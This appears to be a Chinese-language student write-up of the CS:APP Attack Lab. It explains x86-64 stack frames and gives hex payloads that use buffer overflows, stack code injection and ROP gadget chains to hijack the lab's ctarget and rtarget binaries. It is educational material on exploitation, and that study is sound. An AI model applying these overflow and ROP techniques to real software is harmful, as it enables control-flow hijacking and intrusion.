# Attack lab 紀錄
contributed by < `justapig9020` >
###### tags: `CSAPP`
## Link
[attack lab](http://csapp.cs.cmu.edu/3e/labs.html)
## Lab 說明
題目給予兩支已編譯好的 binary 檔案 `ctarget` `rtarget` 。每個 binary 共有 3 個題目, `touch1` , `touch2` , `touch3` 。我們的目標是透過 buffer overflow 的漏洞 hijack 程式,並執行 `touch*` 並通過其中的檢查,最後執行 validate function 。
其中 `ctarget` 預期使用 code/command injection 來解決。
而 `rtarget` 則須使用 return oriented programming ( ROP ) 來解決。
解題時,需要對 stdin 輸入精確的數值,且多數數值不為 ascii 的可視字元。因此, lab 有提供一工具 `hex2raw` 可以輸入的 ascii hex 數字,轉成對應的 hex 值,並輸出至 stdout 。
舉例來說,若對 `hex2raw` 輸入 61 ,則其會輸出 a (也就是輸出 0x61 這個數值)。如此一來,我們便可以透過 `hex2raw` 來轉換出不可視字元。
根據 README 建議,可以將答案以 ascii hex 的方式,存放在一純文字檔,並透過以下方式轉成 raw hex 並餵給目標 binary 。以下指令會將 `povit-ctarget.l1` 中的 ascii hex 透過 `hex2raw` 轉成 raw hex ,再餵給 `ctarget` :
```shell
$ cat povit-ctarget.l1 | ./hex2raw | ./ctarget -q
```
:::info
程式涉及自動評分,由於自修者沒有辦法造訪自動評分的伺服器,因此在執行時需要透過 `-q` 參數來停用自動評分的功能。
用法如下:
```shell
$ ./ctarget -q
```
若是要使用 gdb 來追蹤程式執行,則需要使用如下指令:
```shell
$ gdb --args ./ctarget -q
```
:::
## Lab 實做
### 程式流程
在程式執行之後,在經過一些函數呼叫後,最後會呼叫 `getbuf`。在 `getbuf` 中會呼叫 `Gets` 函數。
`Gets` 函數便是漏洞所在, `Gets` 函數原型為
```c
char* Gets(char* s);
```
其功能為:從 stdin 讀取字元,並將讀取到的字元存入 `s` 中。直到 EOF 或是讀到換行字元 `\n` 為止。
### 漏洞
因為 `Gets` 並未對 buffer `s` 的長度做檢驗,因此當使用者輸入字元數大於 buffer 長度時,便會產生 buffer overflow 。過多的資料將會超出 buffer 的空間,並覆蓋掉其他資料。
接著,要來了解 x86 的資料在 stack 上的存放狀況。
:::info
由於題目在編譯時,應該是有加入 -fomit-frame-pointer 的選項。因此 stack 的狀態比起常見的 layout 會少一個存放 rbp 的空間。
:::
`Stack` 是 process 用以存放區域變數的空間,其位置由 `stack pointer` ( 在 amd64 架構中為 `RSP` ) 紀錄,邏輯上 `RSP` 會保持指向 stack 的頂端。
雖然 stack 是一連續記憶體空間,但是邏輯上會依照存放的資料屬於哪個 function 來將空間分區,同一 function 的區域變數會緊鄰在一起,我們會將這樣的區塊稱為 `stack frame` 。
在進行 function call 時,會延伸 stack 空間,分配出新的 `stack frame` 。這個步驟實際上只是透過改變 `RSP` 中的數值,使其指向新的 stack 頂端。
1. 分配前的狀態, `RSP` 指向當前 stack 的頂端。

2. 透過改變 `RSP` 內的值,使其指向新的位址。如此一來 stack 的空間便增加了。而多出來的空間便是新的 stack frame 。

上述行為在組合語言中觀察到,舉例來說,在 `getbuf` function 中具有以下指令:
```asm
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub rsp,0x28
```
由於 `Stack` 是由高位址往低位址延伸,因此將 `RSP` 減少 0x28 在概念上就是將 stack 增加 0x28 個 byte 。
而在 stack 上,除了區域變數外,還存放著其他資料。如下圖所示:

[source](https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558)
除了區域變數外, stack 這塊空間中還負責保存函數的參數,上一個 stack frame 的 base address (在本 lab 中因為未啟用 frame pointer ,因此 stack 上並未保存此數值),以及當前 function 的 return address 。
其中我們感興趣的數值為 return address 。
首先,先來了解 return address 是如何被保存在 stack 上的。
透過觀察組合語言程式,可以發現 amd64 在進行 function call 時,使用的是 `call` 這個指令。實際上 `call` 指令包含兩個動作
1. 將下一個指令的位址 push 至 stack 的頂端。
2. 將 `RIP` 指向目標 function 的第一個指令。
由於 `RSP` 在邏輯上指向 stack 的頂端,因此將數值 push 進 stack 的頂端實際上執行的動作為
1. 將 `RSP` 減少一單位(視硬體而定,在 x86 中,一單位為 32 bits ,在 amd64 上是 64 bits)。
2. 將目標值存入當前 `RSP` 所指向的位址。
也就是說,當 `call` 指令完成時, `RSP` 所指向的記憶體空間會存放自 function return 時所要執行的指令。
此外 `RIP` 為 amd64 架構中的 program counter 。也就是電腦會根據 `RIP` 中的數值執行該位址的指令。換言之,只要能夠控制 `RIP` 中的數值即可控制計算機要執行哪道指令。
因此在 `call` 指令將 callee 的位址載入 `RIP` 後,電腦就會接著執行 callee 。
此外,可以發現在每個 function 的最後,皆會透過 `ret` 指令返回。實際上,該指令的行為為 `pop rip` 。
首先,我們來了解何謂 `pop` 指令。如同前面的 `push` 指令, `pop` 指令便是從 stack 移除並返回資料。
因此, `pop` 指令實際上執行了兩個操作。
1. 將 `RSP` 指向的空間的值載入至指定暫存器。
2. 移動 `RSP` 使 stack 頂端減少一單位的資料 。
若將 `pop xxx` 寫作組合語言,則會是:
```asm
mov xxx, QWORD PTR[rsp]
add rsp, 8
```
因此, `ret` 指令實際上的行為為:
```asm
mov rip, QWORD PTR[rsp]
add rsp, 8
```
綜上所述,由於我們的最終目標為執行 `touch*` ,因此,我們需要控制 `RIP` 使其指向 `touch*` 的位址。而可以控制 `RIP` 的指令為 `ret` 。而 `ret` 會將 `RIP` 改為 stack 上的數值,我們則可以透過 overflow 控制 stack 上的數值。
因此,只要我們透過 `Gets` 的 buffer overflow 使得 `getbuf` 的 stack frame 上的 return address 被更改為我們所想的位址。如此一來在 `getbuf` 返回時,就會跳去我們想要執行的指令做執行。
### ctarget touch1
首先觀察 `getbuf` 的 stack 的狀況。
```asm
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub rsp,0x28
4017ac: 48 89 e7 mov rdi,rsp
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov eax,0x1
4017b9: 48 83 c4 28 add rsp,0x28
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
```
可以發現,在函數的開頭, `getbuf` 首先將 `RSP` 減少了 0x28 ,也就是 `getbuf` 函數的 stack frame 具有 0x28 個 byte 。由於在函數的一開始時,也就是剛執行完 `call` 指令時,此時 `RSP` 所指向的位址存放的值為 return address 。因此,可以得知,當 `RSP` 減去 0x28 之後, return address 目前處在 `RSP` + 0x28 的位址。
至此可以寫出 `getbuf` 函數,如下:
```c=
void getbuf() {
char buf[0x28];
Gets(buf);
}
```
因此我們只要使 `Gets` ,先讀入 0x28 個任意字元(此時 buffer 以滿,接下來的讀入皆是 overflow),再讀入 touch1 的位址(0x4017c0)即可。
解答:
```
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
c0 17 40 00 00 00 00 00
```
### ctarget touch2
touch2 的組合語言如下:
```asm
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub rsp,0x8
4017f0: 89 fa mov edx,edi
4017f2: c7 05 e0 2c 20 00 02 mov DWORD PTR [rip+0x202ce0],0x2 # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp edi,DWORD PTR [rip+0x202ce2] # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov esi,0x4030e8
401809: bf 01 00 00 00 mov edi,0x1
40180e: b8 00 00 00 00 mov eax,0x0
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov edi,0x2
40181d: e8 6b 04 00 00 call 401c8d <validate>
...
```
可以看出, touch2 判斷 `EDI` 內的值是否與給定的 cookie (0x59b997fa) 相同。
本題的思路為 code injection 至 stack 上,以此改變 `EDI` 的值。
插入的指令如下:
```asm
pop rdi
ret
```
在透過覆蓋 return address 執行該指令。
最終 `getbuf` 的 stack frame 會如下:
|pop rdi|
|-|
|ret|
|junk(塞滿 0x28 bytes 的垃圾資料)|
|address of pop rdi(原 return address)|
|cookie(0x59b997fa)|
|address of touch2|
當 `getbuf` return 時,首先會 return 到 pop rdi ,此時 `RSP` 指向的是 return address 的下一位,也就是 cookie 。此時執行 pop rdi 便會將 cookie pop 至 rdi 內。接著執行 ret ,此時 `RSP` 指向 cookie 的下一位,因此會 return 至 touch2 。
解答:
```
48 C7 C7 FA 97 B9 59 58 C3 00 00 00 00 00 00 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 00 00 00 00 00 00 00 00 EC 17 40 00 00 00 00 00
```
### ctarget touch3
touch3 的組合語言如下:
```asm
00000000004018fa <touch3>:
4018fa: 53 push rbx
4018fb: 48 89 fb mov rbx,rdi
4018fe: c7 05 d4 2b 20 00 03 mov DWORD PTR [rip+0x202bd4],0x3 # 6044dc <vlevel>
401905: 00 00 00
// hexmatch(cookie, char *cookie_str)
// hexmatch(cookie, rdi)
401908: 48 89 fe mov rsi,rdi
40190b: 8b 3d d3 2b 20 00 mov edi,DWORD PTR [rip+0x202bd3] # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
// if hexmatch == 0 then failed
401916: 85 c0 test eax,eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov rdx,rbx
40191d: be 38 31 40 00 mov esi,0x403138
401922: bf 01 00 00 00 mov edi,0x1
401927: b8 00 00 00 00 mov eax,0x0
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov edi,0x3
401936: e8 52 03 00 00 call 401c8d <validate>
...
```
其中 `hexmatch` 的原型如下:
```c
int hexmatch(int hex, char *s);
```
在 `hexmatch` 中,會透過 sscanf 將 `hex` 轉為 string 並與 `s` 做比較。
若兩個字串相同則 `hexmatch` 的返回值會使 `touch3` 成功。
其中, `s` 便是我們可以控制的部份。
與 `touch2` 不同的是,這次 `RDI` 不再直接保存 cookie 本身,而是要作為一指向 str(cookie) 的指標,保存該 string 的位址。
其實核心思路與 touch2 相同,只是要在 stack 額外保存以 ascii 編碼過的 cookie 字串。
stack 狀況如下:
|pop rdi|
|-|
|ret|
|str(cookie)|
|junk|
|address of pop rdi(原 return address)|
|address of str(cookie)|
|touch3|
首先,在 `getbuf` return 時,會執行 pop rdi ,此時由於 `RSP` 指向 `address of str(cookie)` ,因此,在 pop 後, `RDI` 內便保存了 str(cookie) 的 address ,換言之,此時 `RDI` 已經指向 str(cookie) 了。最後的 ret 會將 `RIP` 指向 `touch3`。至此針對 `touch3` 的攻擊便完成了。
解答:
```
5F C3 35 39 62 39 39 37 66 61 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 7A DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00
```
:::info
rtarget 在程式上與 ctarget 並無二異,然而在兩點有別於 ctarget :
1. rtarget 的 stack 只可讀寫不可執行。
2. rtarget 的 stack 位址是隨機的。
:::
### rtarget touch1
只須覆蓋掉 return address 與 ctarget 的 touch1 完全相同。
### rtarget touch2
由於 rtarget 的 stack 不可執行,且位置不固定,因此,無法在透過將指令寫入 stack 並 return 至指令的方式來將 `RDI` 改為指令的值。
在此必須介紹一個被稱為 return oriented programming 的技術,簡稱 ROP 。
直接將指令寫入記憶體中,實際上我們的目的只是希望能執行到特定的指令。因此我們可以透過在寄有的程式中尋找是已經有對應的指令並 return 至該指令即可。
這邊介紹一個好用的工具 [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) ,透過這個工具可以過濾出常用的 ROP 指令以及他們在程式中的位址。
透過 ROPgadget 可以發現在位址 0x40141b 具有以下指令。
```asm
pop rdi
ret
```
因此,思路與 ctarget 相同,只是這次 return 的不再是我們插入的指令而是程式既有有的指令。
stack 的狀況如下:
|junk|
|-|
|0x40141b(address of pop rdi)|
|cookie|
|touch2|
解答:
```
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 1B 14 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 F0 17 40 00 00 00 00 00
```
### rtarget touch3
要完成 `touch3` 需要滿足兩個條件:
1. 將 str(cookie) 寫入記憶體中
2. 使 `RDI` 指向 str(cookie)
由於在 `rtarget` 中, stack 的位址每次執行皆不相同,因此無法像 ctarget 可以事先寫好 str(cookie) 所在的位址,並將該位址寫入 stack 並 pop 至 `RDI` 。
透過發現, `rtarget` 在執行時,每次的 `data` segment 位址皆是固定的。因此,我解題的思路為:
在 `data` segment 找到一固定的區域,並將寫入 stack 的 str(cookie) 搬移至該區域中,最後再將 `RDI` 指向該區域即可。
這邊我選擇的區域位址為 0x605500 ,由於透過 ROPgadget 發現以下指令:
```asm
mov qword ptr [rdi + 8] rax
ret
```
因此,計畫便是,首先將 str(cookie) pop 至 `RAX` 中,並透過 mov 將 `RAX` 中的值(str(cookie))搬移至 `data` segment 上。
詳細的步驟如下:
|junk|
|-|
|address of pop rax, ret|
|str(cookie)|
|address of pop rdi, ret|
|0x605500 - 8|
|address of mov rdi rax, ret|
|address of pop rdi, ret|
|0x605500|
|address of pop rax, ret|
|0x0|
|address of mov rdi rax, ret|
|touch3|
由於在 `hexmatch` 函數中,實際上會連同結束字元 `\0` 一同比對,因此在寫入 `data` segment 時,需要多花一個步驟寫入。
解答:
```
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 ab 19 40 00 00 00 00 00 35 39 62 39 39 37 66 61 1b 14 40 00 00 00 00 00 f8 54 60 00 00 00 00 00 4d 21 40 00 00 00 00 00 1b 14 40 00 00 00 00 00 00 55 60 00 00 00 00 00 ab 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 4d 21 40 00 00 00 00 00 fb 18 40 00 00 00 00 00
```